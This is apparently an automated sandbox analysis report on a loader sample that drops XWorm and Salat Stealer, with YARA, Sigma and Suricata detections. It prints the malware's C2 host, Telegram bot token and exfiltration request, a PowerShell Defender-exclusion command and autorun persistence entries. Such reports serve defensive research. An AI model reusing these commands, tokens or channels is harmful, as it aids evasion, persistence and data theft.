0.0.KoaguarLoader.exe.727e94.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa341:$s6: VirtualBox 0xa29f:$s8: Win32_ComputerSystem 0xb98f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbb41:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb6ab:$cnc4: POST / HTTP/1.1
3.0.svhost.exe.f00000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.0.svhost.exe.f00000.0.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe
3.0.svhost.exe.f00000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
3.0.svhost.exe.f00000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
0.3.KoaguarLoader.exe.a5f010.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.KoaguarLoader.exe.a5f010.0.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xc3c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xcdf8:$s2: svhost.exe 0xce60:$s2: svhost.exe
0.3.KoaguarLoader.exe.a5f010.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x9164:$str01: $VB$Local_Port 0x9191:$str02: $VB$Local_Host 0x7b40:$str03: get_Jpeg 0x7fcd:$str04: get_ServicePack 0xa7e9:$str05: Select * from AntivirusProduct 0xaf79:$str06: PCRestart 0xaf8d:$str07: shutdown.exe /f /r /t 0 0xb03f:$str08: StopReport 0xb015:$str09: StopDDos 0xb10b:$str10: sendPlugin 0xb18b:$str11: OfflineKeylogger Not Enabled 0xb2c5:$str12: -ExecutionPolicy Bypass -File " 0xb790:$str13: Content-length: 5235
0.3.KoaguarLoader.exe.a5f010.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa341:$s6: VirtualBox 0xa29f:$s8: Win32_ComputerSystem 0xb98f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbb41:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb6ab:$cnc4: POST / HTTP/1.1
0.0.KoaguarLoader.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.KoaguarLoader.exe.400000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x32bff8:$str01: $VB$Local_Port 0x32c025:$str02: $VB$Local_Host 0x32a9d4:$str03: get_Jpeg 0x32ae61:$str04: get_ServicePack 0x32d67d:$str05: Select * from AntivirusProduct 0x32de0d:$str06: PCRestart 0x32de21:$str07: shutdown.exe /f /r /t 0 0x32ded3:$str08: StopReport 0x32dea9:$str09: StopDDos 0x32df9f:$str10: sendPlugin 0x32e01f:$str11: OfflineKeylogger Not Enabled 0x32e159:$str12: -ExecutionPolicy Bypass -File " 0x32e624:$str13: Content-length: 5235
0.0.KoaguarLoader.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x32d1d5:$s6: VirtualBox 0x32d133:$s8: Win32_ComputerSystem 0x32e823:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32e8c0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32e9d5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32e53f:$cnc4: POST / HTTP/1.1
0.0.KoaguarLoader.exe.409294.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.KoaguarLoader.exe.409294.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x329b64:$str01: $VB$Local_Port 0x329b91:$str02: $VB$Local_Host 0x328540:$str03: get_Jpeg 0x3289cd:$str04: get_ServicePack 0x32b1e9:$str05: Select * from AntivirusProduct 0x32b979:$str06: PCRestart 0x32b98d:$str07: shutdown.exe /f /r /t 0 0x32ba3f:$str08: StopReport 0x32ba15:$str09: StopDDos 0x32bb0b:$str10: sendPlugin 0x32bb8b:$str11: OfflineKeylogger Not Enabled 0x32bcc5:$str12: -ExecutionPolicy Bypass -File " 0x32c190:$str13: Content-length: 5235
0.0.KoaguarLoader.exe.409294.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x32ad41:$s6: VirtualBox 0x32ac9f:$s8: Win32_ComputerSystem 0x32c38f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32c42c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32c541:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32c0ab:$cnc4: POST / HTTP/1.1
2.2.KoaguarLoader.exe.e80000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.KoaguarLoader.exe.e80000.0.unpack	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
16.2.HkqNfKUrMBAD.exe.6e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.HkqNfKUrMBAD.exe.6e0000.0.unpack	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
12.2.I1y524I4zau1n3u.exe.290000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.I1y524I4zau1n3u.exe.290000.0.unpack	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
4.2.I1y524I4zau1n3u.exe.290000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.I1y524I4zau1n3u.exe.290000.0.unpack	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
9.2.HkqNfKUrMBAD.exe.6e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.HkqNfKUrMBAD.exe.6e0000.0.unpack	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
0.0.KoaguarLoader.exe.409294.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.KoaguarLoader.exe.409294.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x328d64:$str01: $VB$Local_Port 0x328d91:$str02: $VB$Local_Host 0x327740:$str03: get_Jpeg 0x327bcd:$str04: get_ServicePack 0x32a3e9:$str05: Select * from AntivirusProduct 0x32ab79:$str06: PCRestart 0x32ab8d:$str07: shutdown.exe /f /r /t 0 0x32ac3f:$str08: StopReport 0x32ac15:$str09: StopDDos 0x32ad0b:$str10: sendPlugin 0x32ad8b:$str11: OfflineKeylogger Not Enabled 0x32aec5:$str12: -ExecutionPolicy Bypass -File " 0x32b390:$str13: Content-length: 5235
0.0.KoaguarLoader.exe.409294.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x329f41:$s6: VirtualBox 0x329e9f:$s8: Win32_ComputerSystem 0x32b58f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32b62c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32b741:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32b2ab:$cnc4: POST / HTTP/1.1
Click to see the 42 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\svhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\svhost.exe, ParentProcessId: 5248, ParentProcessName: svhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', ProcessId: 4732, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\svhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\svhost.exe, ParentProcessId: 5248, ParentProcessName: svhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', ProcessId: 4732, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\svhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\svhost.exe, ParentProcessId: 5248, ParentProcessName: svhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', ProcessId: 4732, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\svhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\svhost.exe, ParentProcessId: 5248, ParentProcessName: svhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', ProcessId: 4732, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe, ProcessId: 5744, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HkqNfKUrMBAD

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\svhost.exe, ProcessId: 5248, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\svhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\svhost.exe, ParentProcessId: 5248, ParentProcessName: svhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe', ProcessId: 4732, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7860, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm Checkin via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T17:12:32.762679+0100	2853685	1	A Network Trojan was detected	192.168.2.8	49702	149.154.167.220	443	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T17:13:20.340127+0100	2853371	1	Malware Command and Control Activity Detected	192.168.2.8	49705	147.185.221.25	41793	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T17:12:32.762679+0100	1810007	1	Potentially Bad Traffic	192.168.2.8	49702	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: KoaguarLoader.exe	Avira: detected
Source: KoaguarLoader.exe	Avira: detected

Antivirus detection for URL or domain

Source: https://sa1at.ru/sa1at/	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/RepetitionDurationIntervalEndBoundaryRepetitionDurationInterval2025-03-11T12:	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html;	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/etext/ht	Avira URL Cloud: Label: malware
Source: develop-oregon.gl.at.ply.gg	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/htm	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/etext/html;	Avira URL Cloud: Label: malware
Source: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe	Avira: detection malicious, Label: TR/AD.GenSteal.qhukd
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Avira: detection malicious, Label: TR/AD.GenSteal.qhukd
Source: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe	Avira: detection malicious, Label: TR/AD.GenSteal.qhukd
Source: C:\Users\user\AppData\Roaming\svhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769

Found malware configuration

Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["develop-oregon.gl.at.ply.gg"], "Port": 41793, "Aes key": "123456789", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Telegram Token": "7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ", "Telegram Chatid": "1099820672", "Version": "XWorm V5.6"}
Source: svhost.exe.5248.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Roaming\svhost.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: KoaguarLoader.exe	Virustotal: Detection: 87%			Perma Link
Source: KoaguarLoader.exe	ReversingLabs: Detection: 94%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: develop-oregon.gl.at.ply.gg
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 41793
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 123456789
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: <Xwormmm>
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: XWorm V5.6
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: USB.exe
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: %AppData%
Source: 00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	String decryptor: svhost.exe

Source: KoaguarLoader.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49702 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853371 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.8:49705 -> 147.185.221.25:41793
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.8:49702 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.8:49702 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: develop-oregon.gl.at.ply.gg

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.185.221.25 ports 41793,1,3,4,7,9

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.8:49703 -> 147.185.221.25:41793

Source: global traffic	HTTP traffic detected: GET /bot7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ/sendMessage?chat_id=1099820672&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AE8A88C49498A9F1316DD%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%204UM_3KAGS%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 172.67.191.102
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bot7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ/sendMessage?chat_id=1099820672&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AE8A88C49498A9F1316DD%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%204UM_3KAGS%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: develop-oregon.gl.at.ply.gg

